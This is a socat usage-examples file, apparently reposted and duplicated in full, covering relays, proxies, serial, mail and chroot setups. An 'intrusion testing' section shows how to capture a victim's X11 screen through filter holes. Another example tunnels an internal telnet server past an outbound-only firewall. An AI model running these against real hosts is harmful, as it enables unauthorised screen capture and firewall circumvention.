akostrikov/socat-examples.sh

## socat-examples.sh

// Examples for using socat (and filan)


//"$" means normal user, "#" requires privileges, "//" starts a comment

///////////////////////////////////////////////////////////////////////////////
// similar to netcat

// connect to 10.1.1.1 on port 80 and relay to and from stdio
$ socat - TCP:10.1.1.1:80	# similar to "netcat 10.1.1.1 80"

// listen on port 25, wait for an incoming connection, use CR+NL on this
// connection, relay data to and from stdio;
// then emulate a mailserver by hand :-)
# socat - TCP-LISTEN:25,crlf

// listen on port 25, wait for an incoming connection, use CR+NL on this
// connection, relay data to and from stdio, but have line editing and history;
// then emulate a mailserver by hand :-)
# socat readline TCP-LISTEN:25,crlf

// provide a transient history enabled front end to stupid line based
// interactive programs
$ socat readline exec:"nslookup",pty,ctty,setsid,echo=0
// same works for ftp (but password is not hidden)

// you may also use a file based history list
$ socat readline,history=.nslookup_hist exec:"nslookup",pty,ctty,setsid,echo=0
// using ~ as abbreviation for $HOME does not work!

// poor mans 'telnetd' replacement
# socat tcp-l:2023,reuseaddr,fork exec:/bin/login,pty,setsid,setpgid,stderr,ctty
// and here an appropriate client:
$ socat -,raw,echo=0 tcp:172.16.181.130:2023
// use ssl with client and server certificate for improved security;
// replace /bin/login by /bin/bash when using SSL client authentication, can be
// run without root then

// this is a cool trick, proposed by Christophe Lohr, to dump communications to
// two files; it would also work for other manipulations (recode, compress...)
// and it might also work with netcat ;-)
$ socat TCP-LISTEN:5555 SYSTEM:'tee l2r | socat - "TCP:remote:5555"  | tee r2l'

///////////////////////////////////////////////////////////////////////////////
// emergence solution because usleep(1) is not always available
// this will "sleep" for 0.1s
$ socat -T 0.1 pipe pipe

///////////////////////////////////////////////////////////////////////////////
// a very primitive HTTP/1.0 echo server (problems: sends reply headers before
// request; hangs if client does not shutdown - HTTP keep-alive)
// wait for a connection on port 8000; do not wait for request, but immediately
// start a shell that sends reply headers and an empty line; then echo all
// incoming data back to client
$ socat TCP-LISTEN:8000,crlf SYSTEM:"echo HTTP/1.0 200; echo Content-Type\: text/plain; echo; cat"

// a less primitive HTTP echo server that sends back not only the reqest but
// also server and client address and port. Might have portability issues with
// echo
./socat -T 1 -d -d tcp-l:10081,reuseaddr,fork,crlf system:"echo -e \"\\\"HTTP/1.0 200 OK\\\nDocumentType: text/html\\\n\\\n<html>date: \$\(date\)<br>server:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT<br>client: \$SOCAT_PEERADDR:\$SOCAT_PEERPORT\\\n<pre>\\\"\"; cat; echo -e \"\\\"\\\n</pre></html>\\\"\""

///////////////////////////////////////////////////////////////////////////////
// for communicating with an attached modem, I had reasonable results with
// following command line. Required privileges depend on device mode.
// after leaving socat, type "sane".
// replace /dev/ttyS0 by the correct serial line or with /dev/modem
$ socat readline /dev/ttyS0,raw,echo=0,crlf
// or
$ socat readline /dev/ttyS0,raw,echo=0,crlf,nonblock
// then enter "at$"

///////////////////////////////////////////////////////////////////////////////
// relay TCP port 80 from everywhere (internet, intranet, dmz) through your
// firewall to your DMZ webserver (like plug-gw)
// listen on port 80; whenever a connection is made, fork a new process (parent
// process keeps accepting connections), su to nobody, and connect to
// www.dmz.mydomain.org on port 80.
// attention: this is a substitute for a reverse proxy without providing
// application level security.
# socat TCP-LISTEN:80,reuseaddr,fork,su=nobody TCP:www.dmz.mydomain.org:80
// Note: parent process keeps running as root, su after forking

///////////////////////////////////////////////////////////////////////////////
// relay mail from your DMZ server through your firewall.
// accept connections only on dmz interface and allow connections only from
// smtp.dmz.mydomain.org.
// the advantages over plug-gw and other relays are:
// * you can bind to an IP address (even an alias), therefore enhance security
// * in your OS you can create several IP aliases and bind another socat daemon
//   to each, making several application servers addressable
// * lots of options, like switching user, chroot, IP performance tuning
// * no need for inetd
# socat -lm -d -d TCP-LISTEN:25,bind=fw.dmz.mydomain.org,fork,su=nobody,range=smtp.dmz.mydomain.org/32 TCP:smtp.intra.mydomain.org:25

///////////////////////////////////////////////////////////////////////////////
// convert line terminator in ascii streams, stdin to stdout
// use unidirectional mode, convert nl to crnl
$ socat -u - -,crlf
// or cr to nl
$ socat -u -,cr -

// save piped data similar to 'tee':
// copies stdin to stdout, but writes everything to the file too
$ socat -,echo=0 open:/tmp/myfile,create,trunc,ignoreeof!!/tmp/myfile

///////////////////////////////////////////////////////////////////////////////
// intrusion testing

// found an XWindow Server behind IP filters with FTP data hole? (you are
// lucky!)
// prepare your host:
# rm -f /tmp/.X11-unix/X1
// relay a pseudo display :1 on your machine to victim:0
# socat UNIX-LISTEN:/tmp/.X11-unix/X1,fork TCP:host.victim.org:6000,sp=20 &
// and try to take a screendump (must be very lucky - when server has not even
// host based authentication!)
# xwd -root -display :1 -silent >victim.xwd

// you sit behind a socks firewall that has IP filters but lazily allows socks
// connections to loopback and has only host based X11 security.
// like above, but from your inside client:
# socat UNIX-LISTEN:/tmp/.X11-unix/X1,fork SOCKS4:firewall:loopback:6000
// or for the HTTP proxy:
# socat UNIX-LISTEN:/tmp/.X11-unix/X1,fork PROXY:firewall:loopback:6000

///////////////////////////////////////////////////////////////////////////////
// forms of stdin with stdout, all equivalent
$ socat echo -
$ socat echo STDIO
$ socat echo STDIN!!STDOUT
$ socat echo STDIO!!STDIO
$ socat echo -!!-
$ socat echo FD:0!!FD:1
$ socat echo 0!!1
$ socat echo /dev/stdin!!/dev/stdout	// if your OS provides these

///////////////////////////////////////////////////////////////////////////////
// some echo address examples
$ socat - PIPE
$ socat - PIPE:/tmp/pipi		// other version of echo
$ socat - PIPE:/tmp/pipi,nonblock!!/tmp/pipi	// other version of echo
$ socat - EXEC:/bin/cat		// another echo
$ socat - SYSTEM:/bin/cat		// another echo
$ socat - TCP:loopback:7	// if inetd echo/TCP service activated
$ socat - UDP:loopback:7	// if inetd echo/UDP service activated
$ socat - /tmp/hugo,trunc,ignoreeof!!/tmp/hugo	// with delay
$ socat - UDP:loopback:2000,bind=:2000	// self "connection"
$ socat - TCP:loopback:2000,bind=:2000	// Linux bug?
# socat - IP:loopback:222	// raw protocol, self "connected" (attention,
// Linux might drop packets with less than 8 bytes payload)

///////////////////////////////////////////////////////////////////////////////
// unidirectional data transfer
$ socat -u - -
// like "tail -f", but start with showing all file contents
$ socat -u FILE:/var/log/syslog.debug,ignoreeof -
// like "tail -f", but do not show existing file contents
$ socat -u FILE:/var/log/syslog.debug,ignoreeof,seek-end -
// write to new file, create with given permission and group (must be member) - race condition with group!!!
$ socat -u - CREATE:/tmp/outfile1,group=floppy,perm=0640
//
// for an existing file /tmp/outfile1
# socat -u - FILE:/tmp/outfile1,group=floppy,perm=0700,user=4321


///////////////////////////////////////////////////////////////////////////////
// file handling
$ socat - FILE:/tmp/outfile1,ignoreeof!!FILE:/tmp/outfile1,append	// prints outfile1, then echoes input and protocols into file (appends to old data)

///////////////////////////////////////////////////////////////////////////////
// unix socket handling

// create a listening unix socket
$ rm -f /tmp/mysocket; socat UNIX-LISTEN:/tmp/mysocket -
// from another terminal, connect to this socket
$ socat UNIX:/tmp/mysocket -
// then transfer data bidirectionally


///////////////////////////////////////////////////////////////////////////////
// transport examples

// socks relay (externally socksify applications);
// your ssh client and OS are not socksified, but you want to pass a socks
// server with ssh:
$ socat TCP-LISTEN:10022,fork SOCKS4:socks.mydomain.org:ssh-serv:22
$ ssh -p 10022 loopback
// or better define a ProxyCommand in ~/.ssh/config:
ProxyCommand socat - SOCKS:socks.mydomain.org:%h:%p
// and with proxy:
ProxyCommand socat - PROXY:proxy.mydomain.org:%h:%p,proxyport=8000

///////////////////////////////////////////////////////////////////////////////
// application examples

// run sendmail daemon with your favorite network options
# socat TCP-LISTEN:25,fork,ip-ttl=4,ip-tos=7,tcp-maxseg=576 EXEC:"/usr/sbin/sendmail -bs",nofork

// local mail delivery over UNIX socket - no SUID program required
# socat UNIX-LISTEN:/tmp/postoffice,fork,perm-early=0666 EXEC:"/usr/sbin/sendmail -bs"
$ socat - /tmp/postoffice

///////////////////////////////////////////////////////////////////////////////
// uses of filan
// see what your operating system opens for you
$ filan
// or if that was too detailled
$ filan -s
// see what file descriptors are passed via exec function
$ socat - EXEC:filan,nofork
$ socat - EXEC:filan
$ socat - EXEC:filan,pipes,stderr
$ socat - EXEC:filan,pipes
$ socat - EXEC:filan,pty
// see what's done by your shell and with option "pipes"
$ socat - SYSTEM:filan,pipes
// see if gdb gives you an equivalent environment or opens some files for your program
$ gdb ./filan
(gdb) r
(gdb) r -s

///////////////////////////////////////////////////////////////////////////////
// want to use chat from the ppp package?
// note: some OS's do not need "-e" for echo to print control characters
// note: chat might send bytes one by one
// with AIX, a similar program is available under the name "pppdial"
$ socat -d -d tcp:localhost:25,crlf,nodelay exec:'/usr/sbin/chat -v -s "\"220 \"" "\"HELO loopback\"" "\"250 \"" "\"MAIL FROM: <hugo@localhost>\"" "\"250 \"" "\"RCPT TO: root\"" "\"250 \"" "\"DATA\"" "\"354 \"" "\"test1'$(echo -e "\r.")'\"" "\"250 \"" "\"QUIT\"" "\"221 \""',pty,echo=0,cr

//////////////////////////////////////////////////////////////////////////////
// IP6

# socat readline TCP6:[::1]:21	# if your inetd/ftp is listening on ip6


///////////////////////////////////////////////////////////////////////////////
// application server solutions
// run a program (here: /bin/sh) chrooted, unprivileged;
// parent process stays in real / running as root
# socat -d -d - EXEC:/bin/sh,chroot=/home/sandbox,su=sandbox,pty

// make a program available on the network chrooted, unprivileged;
// parent process stays in / running as root
// script path is already chrooted
# ./socat -lm -d -d TCP-LISTEN:5555,fork EXEC:/bin/myscript,chroot=/home/sandbox,su=sandbox,pty,stderr
// to avoid terminal problems, you might - instead of telnet - connect using
$ socat -,icanon=0,echo=0 tcp:target:5555; reset


// access local display from ssh server, when ssh port forwarding is disabled
// socat must be installed on ssh server host
// might have to use xauth...
// this example is one-shot because ssh can handle only one channel
xterm1$ socat -d -d exec:"ssh www.dest-unreach.org rm -f /tmp/.X11-unix/X9; ~/bin/socat -d -d unix-l\:/tmp/.X11-unix/X9\,fork -" unix:/tmp/.X11-unix/X0
xterm2$ ssh target
target$ DISPLAY=:9 myxapplication

// touch with perms:
// no race condition for perms (applied with creat() call)
$ socat -u /dev/null creat:/tmp/tempfile,perm=0600

// touch with owner and perms:
// race condition before changing owner, but who cares - only root may access
# socat -u /dev/null creat:/tmp/tempfile,user=user1,perm=0600

// invoke an interactive ssh with exec
// first example passes control chars (^C etc.) to remote server as usual
socat -,echo=0,raw exec:'ssh server',pty,setsid,ctty
// second example interprets control chars on local command line
socat -,echo=0,icanon=0 exec:'ssh server',pty,setsid,ctty
// afterwards, type "reset"!

// convince ssh to provide an "interactive" shell to your script
// three main versions for entering password:
// 1) from your TTY; have 10 seconds to enter password:
(sleep 10; echo "ls"; sleep 1) |socat - exec:'ssh server',pty
// 2) from XWindows (DISPLAY !); again 10 seconds
(sleep 10; echo "ls"; sleep 1) |socat - exec:'ssh server',pty,setsid
// 3) from script
(sleep 5; echo PASSWORD; echo ls; sleep 1) |./socat - exec:'ssh server',pty,setsid,ctty


// download with proxy CONNECT
// use echo -e if required for \n
$ (echo -e "CONNECT 128.129.130.131:80 HTTP/1.0\n"; sleep 5; echo -e "GET
/download/file HTTP/1.0\n"; sleep 10) |socat -d -d -t 3600 - tcp:proxy:8080,crlf

// retrieve a file from an sshd site with sourceforge style entry menu;
// fill in your personal values; cat lets you enter your password (will be
// visible on screen)
$ (sleep 10; read pass; echo $pass; sleep 10; echo M; sleep 5; echo cat FILENAME; sleep 10) |./socat -d -d -ly - EXEC:'ssh -c 3des -l USER cf.sourceforge.net',pty,setsid,ctty |tee FILENAME

// multicast community on local network: start the following command on all
// participating hosts; like a conference call:
# socat -d -d -d -d - udp-datagram:224.0.0.2:6666,bind=:6666,ip-add-membership=224.0.0.2:eth0,bindtodevice=eth0
// or
$ socat -d -d -d -d - udp-datagram:224.0.0.2:6666,bind=:6666,ip-add-membership=224.0.0.2:eth0
// possible reasons for failure:
// iptables or other filters (open your filters as required)
// packets leave via wrong interface (set route: ...)
// socket bound to specific address

//=============================================================================
// GENERIC FUNCTION CALLS

// ioctl(): open CD drive (given value valid on Linux)
// on my Linux system I find in /usr/include/linux/cdrom.h the define:
// #define CDROMEJECT           0x5309 /* Ejects the cdrom media */
// the following command makes something like ioctl(fd, CDROMEJECT, NULL)
// (don't care about the read error):
$ socat /dev/cdrom,o-nonblock,ioctl-void=0x5309 -

// setsockopt(): SO_REUSEADDR
// the following command performs - beyond lots of overhead - something like:
// myint=1; setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &myint, sizeof(myint))
$ socat -u udp-recv:7777,setsockopt-int=1:2:1 -
// setsockopt(): SO_BINDTODEVICE

// ways to apply SO_BINDTODEVICE without using the special socat address option
// so-bindtodevice:
// with string argument:
$ sudo ./socat tcp-l:7777,setsockopt-string=1:25:eth0 pipe
// with binary argument:
$ sudo ./socat tcp-l:7777,setsockopt-bin=1:25:x6574683000 pipe

===============================================================================

// not tested, just ideas, or have problems


// traverse firewall for making internal telnet server accessible for outside
// telnet client, when only outbound traffic (syn-filter) is allowed:
//   on external client run "double server". this process waits for a
// connection from localhost on port 10023, and, when it is established, waits
// for a connection from anywhere to port 20023:
ext$ socat -d TCP-LISTEN:10023,range=localhost TCP-LISTEN:20023
//   on internal server run double client:
int$ socat -d TCP:localhost:23 TCP:extclient:10023
//   or, with socks firewall:
int$ socat -d TCP:localhost:23 SOCKS:socksserver:extclient:10023
//   login with:
ext$ telnet localhost 20023

// you can make a double server capable of handling multiple instances:
ext$ socat -d TCP-LISTEN:10023,range=localhost,fork TCP-LISTEN:20023,reuseaddr

// access remote display via ssh, when ssh port forwarding is disabled
$ socat -d -d EXEC:"ssh target socat - UNIX:/tmp/.X11-unix/X0" TCP-LISTEN:6030
$ xclock -display localhost:30

// relay multiple webserver addresses through your firewall into your DMZ:
// make IP aliases on your firewall, and then:
# socat -d -d TCP-L:80,bind=fw-addr1,fork TCP:dmz-www1:80
# socat -d -d TCP-L:80,bind=fw-addr2,fork TCP:dmz-www2:80
// and for improved security:
# socat -d -d TCP-L:80,bind=fw-addr3,su=nobody,fork TCP:dmz-www3:80

// proxy an arbitrary IP protocol over your firewall (answers won't work)
# socat -d -d IP:0.0.0.0:150,bind=fwnonsec IP:sec-host:150,bind=fwsec

// proxy an unsupported IP protocol over your firewall, point to point
// end points see firewall interfaces as IP peers!
# socat -d -d IP:nonsec-host:150,bind=fwnonsec IP:sec-host:150,bind=fwsec
// note that, for IPsec, you might face problems that are known with NAT

	// Examples for using socat (and filan)


	//"$" means normal user, "#" requires privileges, "//" starts a comment

	///////////////////////////////////////////////////////////////////////////////
	// similar to netcat

	// connect to 10.1.1.1 on port 80 and relay to and from stdio
	$ socat - TCP:10.1.1.1:80 # similar to "netcat 10.1.1.1 80"

	// listen on port 25, wait for an incoming connection, use CR+NL on this
	// connection, relay data to and from stdio;
	// then emulate a mailserver by hand :-)
	# socat - TCP-LISTEN:25,crlf

	// listen on port 25, wait for an incoming connection, use CR+NL on this
	// connection, relay data to and from stdio, but have line editing and history;
	// then emulate a mailserver by hand :-)
	# socat readline TCP-LISTEN:25,crlf

	// provide a transient history enabled front end to stupid line based
	// interactive programs
	$ socat readline exec:"nslookup",pty,ctty,setsid,echo=0
	// same works for ftp (but password is not hidden)

	// you may also use a file based history list
	$ socat readline,history=.nslookup_hist exec:"nslookup",pty,ctty,setsid,echo=0
	// using ~ as abbreviation for $HOME does not work!

	// poor mans 'telnetd' replacement
	# socat tcp-l:2023,reuseaddr,fork exec:/bin/login,pty,setsid,setpgid,stderr,ctty
	// and here an appropriate client:
	$ socat -,raw,echo=0 tcp:172.16.181.130:2023
	// use ssl with client and server certificate for improved security;
	// replace /bin/login by /bin/bash when using SSL client authentication, can be
	// run without root then

	// this is a cool trick, proposed by Christophe Lohr, to dump communications to
	// two files; it would also work for other manipulations (recode, compress...)
	// and it might also work with netcat ;-)
	$ socat TCP-LISTEN:5555 SYSTEM:'tee l2r \| socat - "TCP:remote:5555" \| tee r2l'

	///////////////////////////////////////////////////////////////////////////////
	// emergence solution because usleep(1) is not always available
	// this will "sleep" for 0.1s
	$ socat -T 0.1 pipe pipe

	///////////////////////////////////////////////////////////////////////////////
	// a very primitive HTTP/1.0 echo server (problems: sends reply headers before
	// request; hangs if client does not shutdown - HTTP keep-alive)
	// wait for a connection on port 8000; do not wait for request, but immediately
	// start a shell that sends reply headers and an empty line; then echo all
	// incoming data back to client
	$ socat TCP-LISTEN:8000,crlf SYSTEM:"echo HTTP/1.0 200; echo Content-Type\: text/plain; echo; cat"

	// a less primitive HTTP echo server that sends back not only the reqest but
	// also server and client address and port. Might have portability issues with
	// echo
	./socat -T 1 -d -d tcp-l:10081,reuseaddr,fork,crlf system:"echo -e \"\\\"HTTP/1.0 200 OK\\\nDocumentType: text/html\\\n\\\n<html>date: \$\(date\)<br>server:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT<br>client: \$SOCAT_PEERADDR:\$SOCAT_PEERPORT\\\n<pre>\\\"\"; cat; echo -e \"\\\"\\\n</pre></html>\\\"\""

	///////////////////////////////////////////////////////////////////////////////
	// for communicating with an attached modem, I had reasonable results with
	// following command line. Required privileges depend on device mode.
	// after leaving socat, type "sane".
	// replace /dev/ttyS0 by the correct serial line or with /dev/modem
	$ socat readline /dev/ttyS0,raw,echo=0,crlf
	// or
	$ socat readline /dev/ttyS0,raw,echo=0,crlf,nonblock
	// then enter "at$"

	///////////////////////////////////////////////////////////////////////////////
	// relay TCP port 80 from everywhere (internet, intranet, dmz) through your
	// firewall to your DMZ webserver (like plug-gw)
	// listen on port 80; whenever a connection is made, fork a new process (parent
	// process keeps accepting connections), su to nobody, and connect to
	// www.dmz.mydomain.org on port 80.
	// attention: this is a substitute for a reverse proxy without providing
	// application level security.
	# socat TCP-LISTEN:80,reuseaddr,fork,su=nobody TCP:www.dmz.mydomain.org:80
	// Note: parent process keeps running as root, su after forking

	///////////////////////////////////////////////////////////////////////////////
	// relay mail from your DMZ server through your firewall.
	// accept connections only on dmz interface and allow connections only from
	// smtp.dmz.mydomain.org.
	// the advantages over plug-gw and other relays are:
	// * you can bind to an IP address (even an alias), therefore enhance security
	// * in your OS you can create several IP aliases and bind another socat daemon
	// to each, making several application servers addressable
	// * lots of options, like switching user, chroot, IP performance tuning
	// * no need for inetd
	# socat -lm -d -d TCP-LISTEN:25,bind=fw.dmz.mydomain.org,fork,su=nobody,range=smtp.dmz.mydomain.org/32 TCP:smtp.intra.mydomain.org:25

	///////////////////////////////////////////////////////////////////////////////
	// convert line terminator in ascii streams, stdin to stdout
	// use unidirectional mode, convert nl to crnl
	$ socat -u - -,crlf
	// or cr to nl
	$ socat -u -,cr -

	// save piped data similar to 'tee':
	// copies stdin to stdout, but writes everything to the file too
	$ socat -,echo=0 open:/tmp/myfile,create,trunc,ignoreeof!!/tmp/myfile

	///////////////////////////////////////////////////////////////////////////////
	// intrusion testing

	// found an XWindow Server behind IP filters with FTP data hole? (you are
	// lucky!)
	// prepare your host:
	# rm -f /tmp/.X11-unix/X1
	// relay a pseudo display :1 on your machine to victim:0
	# socat UNIX-LISTEN:/tmp/.X11-unix/X1,fork TCP:host.victim.org:6000,sp=20 &
	// and try to take a screendump (must be very lucky - when server has not even
	// host based authentication!)
	# xwd -root -display :1 -silent >victim.xwd

	// you sit behind a socks firewall that has IP filters but lazily allows socks
	// connections to loopback and has only host based X11 security.
	// like above, but from your inside client:
	# socat UNIX-LISTEN:/tmp/.X11-unix/X1,fork SOCKS4:firewall:loopback:6000
	// or for the HTTP proxy:
	# socat UNIX-LISTEN:/tmp/.X11-unix/X1,fork PROXY:firewall:loopback:6000

	///////////////////////////////////////////////////////////////////////////////
	// forms of stdin with stdout, all equivalent
	$ socat echo -
	$ socat echo STDIO
	$ socat echo STDIN!!STDOUT
	$ socat echo STDIO!!STDIO
	$ socat echo -!!-
	$ socat echo FD:0!!FD:1
	$ socat echo 0!!1
	$ socat echo /dev/stdin!!/dev/stdout // if your OS provides these

	///////////////////////////////////////////////////////////////////////////////
	// some echo address examples
	$ socat - PIPE
	$ socat - PIPE:/tmp/pipi // other version of echo
	$ socat - PIPE:/tmp/pipi,nonblock!!/tmp/pipi // other version of echo
	$ socat - EXEC:/bin/cat // another echo
	$ socat - SYSTEM:/bin/cat // another echo
	$ socat - TCP:loopback:7 // if inetd echo/TCP service activated
	$ socat - UDP:loopback:7 // if inetd echo/UDP service activated
	$ socat - /tmp/hugo,trunc,ignoreeof!!/tmp/hugo // with delay
	$ socat - UDP:loopback:2000,bind=:2000 // self "connection"
	$ socat - TCP:loopback:2000,bind=:2000 // Linux bug?
	# socat - IP:loopback:222 // raw protocol, self "connected" (attention,
	// Linux might drop packets with less than 8 bytes payload)

	///////////////////////////////////////////////////////////////////////////////
	// unidirectional data transfer
	$ socat -u - -
	// like "tail -f", but start with showing all file contents
	$ socat -u FILE:/var/log/syslog.debug,ignoreeof -
	// like "tail -f", but do not show existing file contents
	$ socat -u FILE:/var/log/syslog.debug,ignoreeof,seek-end -
	// write to new file, create with given permission and group (must be member) - race condition with group!!!
	$ socat -u - CREATE:/tmp/outfile1,group=floppy,perm=0640
	//
	// for an existing file /tmp/outfile1
	# socat -u - FILE:/tmp/outfile1,group=floppy,perm=0700,user=4321


	///////////////////////////////////////////////////////////////////////////////
	// file handling
	$ socat - FILE:/tmp/outfile1,ignoreeof!!FILE:/tmp/outfile1,append // prints outfile1, then echoes input and protocols into file (appends to old data)

	///////////////////////////////////////////////////////////////////////////////
	// unix socket handling

	// create a listening unix socket
	$ rm -f /tmp/mysocket; socat UNIX-LISTEN:/tmp/mysocket -
	// from another terminal, connect to this socket
	$ socat UNIX:/tmp/mysocket -
	// then transfer data bidirectionally


	///////////////////////////////////////////////////////////////////////////////
	// transport examples

	// socks relay (externally socksify applications);
	// your ssh client and OS are not socksified, but you want to pass a socks
	// server with ssh:
	$ socat TCP-LISTEN:10022,fork SOCKS4:socks.mydomain.org:ssh-serv:22
	$ ssh -p 10022 loopback
	// or better define a ProxyCommand in ~/.ssh/config:
	ProxyCommand socat - SOCKS:socks.mydomain.org:%h:%p
	// and with proxy:
	ProxyCommand socat - PROXY:proxy.mydomain.org:%h:%p,proxyport=8000

	///////////////////////////////////////////////////////////////////////////////
	// application examples

	// run sendmail daemon with your favorite network options
	# socat TCP-LISTEN:25,fork,ip-ttl=4,ip-tos=7,tcp-maxseg=576 EXEC:"/usr/sbin/sendmail -bs",nofork

	// local mail delivery over UNIX socket - no SUID program required
	# socat UNIX-LISTEN:/tmp/postoffice,fork,perm-early=0666 EXEC:"/usr/sbin/sendmail -bs"
	$ socat - /tmp/postoffice

	///////////////////////////////////////////////////////////////////////////////
	// uses of filan
	// see what your operating system opens for you
	$ filan
	// or if that was too detailled
	$ filan -s
	// see what file descriptors are passed via exec function
	$ socat - EXEC:filan,nofork
	$ socat - EXEC:filan
	$ socat - EXEC:filan,pipes,stderr
	$ socat - EXEC:filan,pipes
	$ socat - EXEC:filan,pty
	// see what's done by your shell and with option "pipes"
	$ socat - SYSTEM:filan,pipes
	// see if gdb gives you an equivalent environment or opens some files for your program
	$ gdb ./filan
	(gdb) r
	(gdb) r -s

	///////////////////////////////////////////////////////////////////////////////
	// want to use chat from the ppp package?
	// note: some OS's do not need "-e" for echo to print control characters
	// note: chat might send bytes one by one
	// with AIX, a similar program is available under the name "pppdial"
	$ socat -d -d tcp:localhost:25,crlf,nodelay exec:'/usr/sbin/chat -v -s "\"220 \"" "\"HELO loopback\"" "\"250 \"" "\"MAIL FROM: <hugo@localhost>\"" "\"250 \"" "\"RCPT TO: root\"" "\"250 \"" "\"DATA\"" "\"354 \"" "\"test1'$(echo -e "\r.")'\"" "\"250 \"" "\"QUIT\"" "\"221 \""',pty,echo=0,cr

	//////////////////////////////////////////////////////////////////////////////
	// IP6

	# socat readline TCP6:[::1]:21 # if your inetd/ftp is listening on ip6


	///////////////////////////////////////////////////////////////////////////////
	// application server solutions
	// run a program (here: /bin/sh) chrooted, unprivileged;
	// parent process stays in real / running as root
	# socat -d -d - EXEC:/bin/sh,chroot=/home/sandbox,su=sandbox,pty

	// make a program available on the network chrooted, unprivileged;
	// parent process stays in / running as root
	// script path is already chrooted
	# ./socat -lm -d -d TCP-LISTEN:5555,fork EXEC:/bin/myscript,chroot=/home/sandbox,su=sandbox,pty,stderr
	// to avoid terminal problems, you might - instead of telnet - connect using
	$ socat -,icanon=0,echo=0 tcp:target:5555; reset


	// access local display from ssh server, when ssh port forwarding is disabled
	// socat must be installed on ssh server host
	// might have to use xauth...
	// this example is one-shot because ssh can handle only one channel
	xterm1$ socat -d -d exec:"ssh www.dest-unreach.org rm -f /tmp/.X11-unix/X9; ~/bin/socat -d -d unix-l\:/tmp/.X11-unix/X9\,fork -" unix:/tmp/.X11-unix/X0
	xterm2$ ssh target
	target$ DISPLAY=:9 myxapplication

	// touch with perms:
	// no race condition for perms (applied with creat() call)
	$ socat -u /dev/null creat:/tmp/tempfile,perm=0600

	// touch with owner and perms:
	// race condition before changing owner, but who cares - only root may access
	# socat -u /dev/null creat:/tmp/tempfile,user=user1,perm=0600

	// invoke an interactive ssh with exec
	// first example passes control chars (^C etc.) to remote server as usual
	socat -,echo=0,raw exec:'ssh server',pty,setsid,ctty
	// second example interprets control chars on local command line
	socat -,echo=0,icanon=0 exec:'ssh server',pty,setsid,ctty
	// afterwards, type "reset"!

	// convince ssh to provide an "interactive" shell to your script
	// three main versions for entering password:
	// 1) from your TTY; have 10 seconds to enter password:
	(sleep 10; echo "ls"; sleep 1) \|socat - exec:'ssh server',pty
	// 2) from XWindows (DISPLAY !); again 10 seconds
	(sleep 10; echo "ls"; sleep 1) \|socat - exec:'ssh server',pty,setsid
	// 3) from script
	(sleep 5; echo PASSWORD; echo ls; sleep 1) \|./socat - exec:'ssh server',pty,setsid,ctty


	// download with proxy CONNECT
	// use echo -e if required for \n
	$ (echo -e "CONNECT 128.129.130.131:80 HTTP/1.0\n"; sleep 5; echo -e "GET
	/download/file HTTP/1.0\n"; sleep 10) \|socat -d -d -t 3600 - tcp:proxy:8080,crlf

	// retrieve a file from an sshd site with sourceforge style entry menu;
	// fill in your personal values; cat lets you enter your password (will be
	// visible on screen)
	$ (sleep 10; read pass; echo $pass; sleep 10; echo M; sleep 5; echo cat FILENAME; sleep 10) \|./socat -d -d -ly - EXEC:'ssh -c 3des -l USER cf.sourceforge.net',pty,setsid,ctty \|tee FILENAME

	// multicast community on local network: start the following command on all
	// participating hosts; like a conference call:
	# socat -d -d -d -d - udp-datagram:224.0.0.2:6666,bind=:6666,ip-add-membership=224.0.0.2:eth0,bindtodevice=eth0
	// or
	$ socat -d -d -d -d - udp-datagram:224.0.0.2:6666,bind=:6666,ip-add-membership=224.0.0.2:eth0
	// possible reasons for failure:
	// iptables or other filters (open your filters as required)
	// packets leave via wrong interface (set route: ...)
	// socket bound to specific address

	//=============================================================================
	// GENERIC FUNCTION CALLS

	// ioctl(): open CD drive (given value valid on Linux)
	// on my Linux system I find in /usr/include/linux/cdrom.h the define:
	// #define CDROMEJECT 0x5309 /* Ejects the cdrom media */
	// the following command makes something like ioctl(fd, CDROMEJECT, NULL)
	// (don't care about the read error):
	$ socat /dev/cdrom,o-nonblock,ioctl-void=0x5309 -

	// setsockopt(): SO_REUSEADDR
	// the following command performs - beyond lots of overhead - something like:
	// myint=1; setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &myint, sizeof(myint))
	$ socat -u udp-recv:7777,setsockopt-int=1:2:1 -
	// setsockopt(): SO_BINDTODEVICE

	// ways to apply SO_BINDTODEVICE without using the special socat address option
	// so-bindtodevice:
	// with string argument:
	$ sudo ./socat tcp-l:7777,setsockopt-string=1:25:eth0 pipe
	// with binary argument:
	$ sudo ./socat tcp-l:7777,setsockopt-bin=1:25:x6574683000 pipe

	===============================================================================

	// not tested, just ideas, or have problems


	// traverse firewall for making internal telnet server accessible for outside
	// telnet client, when only outbound traffic (syn-filter) is allowed:
	// on external client run "double server". this process waits for a
	// connection from localhost on port 10023, and, when it is established, waits
	// for a connection from anywhere to port 20023:
	ext$ socat -d TCP-LISTEN:10023,range=localhost TCP-LISTEN:20023
	// on internal server run double client:
	int$ socat -d TCP:localhost:23 TCP:extclient:10023
	// or, with socks firewall:
	int$ socat -d TCP:localhost:23 SOCKS:socksserver:extclient:10023
	// login with:
	ext$ telnet localhost 20023

	// you can make a double server capable of handling multiple instances:
	ext$ socat -d TCP-LISTEN:10023,range=localhost,fork TCP-LISTEN:20023,reuseaddr

	// access remote display via ssh, when ssh port forwarding is disabled
	$ socat -d -d EXEC:"ssh target socat - UNIX:/tmp/.X11-unix/X0" TCP-LISTEN:6030
	$ xclock -display localhost:30

	// relay multiple webserver addresses through your firewall into your DMZ:
	// make IP aliases on your firewall, and then:
	# socat -d -d TCP-L:80,bind=fw-addr1,fork TCP:dmz-www1:80
	# socat -d -d TCP-L:80,bind=fw-addr2,fork TCP:dmz-www2:80
	// and for improved security:
	# socat -d -d TCP-L:80,bind=fw-addr3,su=nobody,fork TCP:dmz-www3:80

	// proxy an arbitrary IP protocol over your firewall (answers won't work)
	# socat -d -d IP:0.0.0.0:150,bind=fwnonsec IP:sec-host:150,bind=fwsec

	// proxy an unsupported IP protocol over your firewall, point to point
	// end points see firewall interfaces as IP peers!
	# socat -d -d IP:nonsec-host:150,bind=fwnonsec IP:sec-host:150,bind=fwsec
	// note that, for IPsec, you might face problems that are known with NAT